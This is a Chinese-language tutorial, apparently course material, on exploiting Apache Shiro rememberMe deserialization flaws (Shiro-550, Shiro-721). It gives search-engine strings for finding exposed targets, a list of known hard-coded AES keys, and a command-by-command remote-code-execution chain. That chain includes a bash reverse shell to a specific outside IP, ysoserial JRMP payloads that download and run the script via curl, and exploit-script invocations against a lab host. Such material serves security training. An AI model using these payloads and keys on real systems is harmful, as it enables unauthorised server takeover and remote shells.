一、Shiro 简介
Apache Shiro 是一个灵活且全面的 Java 安全框架,它为现代应用程序提供了认证、授权、加密和会 话管理等核心安全功能。Shiro 的设计目标是简单易用,同时提供强大的安全性,适用于从小型应用程 序到大型企业级应用的多种场景。
二、Shiro 漏洞发现
1.Shiro 组件识别
-
抓包分析:在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe,说明使用了 Shiro 组件

-
响应内容分析:有时 Shiro 会在响应中设置特定的 cookie 名称,例如 shiroCookie,这也可以作为识别Shiro 使用的依据。
-
如果登录页面出现Remember Me(记住我),可能是使用了Shiro 组件

2.Shiro 资产搜索
通过 fofa、zoomeye、shodan 这类平台搜索相关特征来发现目标。
header="rememberme=deleteMe"
header="shiroCookie"
3.Shiro-550 漏洞利用
1)漏洞原因
Apache Shiro框架提供了记住密码的功能(RememberMe),关闭浏览器再次访问时无需再登录即可访问。用户登录成功后用户信息会经过加密编码后存储在cookie中。在Cookie读取过程中有用AES对Cook1e值解密的过程,对于AES这类对称加密算法,一旦密钥泄露加密便形同虚设。若密钥可控,同时Cookie值是由攻击者构造的恶意Payload,就可以将流程走通,触发危险的java反序列化,从而导致远程命令执行漏洞。
shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:
获取 rememberMe的cookie值 –> Base64解码 –> AES解密 –> 反序列化
但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到ES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化,AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。

只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都可能会导致该漏洞的产生。硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。如果在返回包的 Set-Cookie中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。
常见 key:
kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
2)影响版本
Apache Shiro <= 1.2.4(需要获取AES秘钥)
3)利用组件
org.apache.commons中的commons-collections4(理论上commons-collections2也有)
4)利用位置
任意 http 请求中 cookie 处 rememberMe 参数
5)特征判断
返回包中包含 rememberMe=deleteMe 字段,认证失败时会设置deleteMe 的 cookie
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0;

6)Payload 构造
Payload 产生的过程:
命令 => 序列化 => AES 加密 => base64 编码 => RememberMe Cookie 值
使用ShiroVulnExp
生成 Shiro 漏洞测试 Cookie
python shiro_test_poc.py "ls"

7)漏洞利用
(1)检测是否存在默认的 key 及漏洞
这里我们使用 Shiro_exploit 脚本,获取默认 key
python shiro_exploit.py -u http://c2a6d514ff64.target.yijinglab.com

或者使用其他工具获取密钥

(2)VPS 监听反弹shell
(3)VPS 利用反序列化工具生成 payload
方法一
echo "bash -i >& /dev/tcp/120.79.150.243/7777 0>&1" > b.sh
python -m http.server

CommonsCollections4:
是Apache Commons Collections 库的一个版本,广泛用于 Java 开发中。其中某些类会被恶意利用,导致发生java反序列化。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "curl http://120.79.150.243:8000/b.sh -o /tmp/b.sh"

执行 shiro_poc_test.py 脚本构造生成下载b.sh的cookie:
该cookie会执行上面命令中的下载命令
python shiro_poc_test.py 120.79.150.243:9999

发包成功后,Shiro 接收并执行反序列化 payload,请求 JRMP 监听端口:

构造执行 b.sh 脚本的 cookie:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "bash /tmp/b.sh"

脚本生成cookie:
python shiro_poc_test.py 120.79.150.243:7777
然后把 cookie 值代入请求中发送:
接收到来自 shiro 主机的请求:

成功执行 bash /tmp/b.sh 命令,得到反弹 shell:
方法二
8)脚本利用
- 启动脚本,生成payload
python shiiro_exp_550.py

-
发送payload

-
获取反弹shell

4.Shiro-721 漏洞利用
Shiro rememberMe 反序列化远程代码执行漏洞
1)漏洞原因
由于 Apache Shiro cookie 中通过 通过 AES-128-CBC 模式加密的 rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行
rememberMe cookie 通过 AES-128-CBC 模式加密,易受到Padding Oracle 攻击。可以通过结合有效的 rememberMe cookie 作为Padding Oracle 攻击的前缀,然后精⼼制作 rememberMe 来进 ⾏反序列化攻击。
注意: 在 1.2.4 版本后,shiro 已经更换 AES-CBC 为 AES-GCM ,无法再通过 Padding Oracle 遍历
详情见课件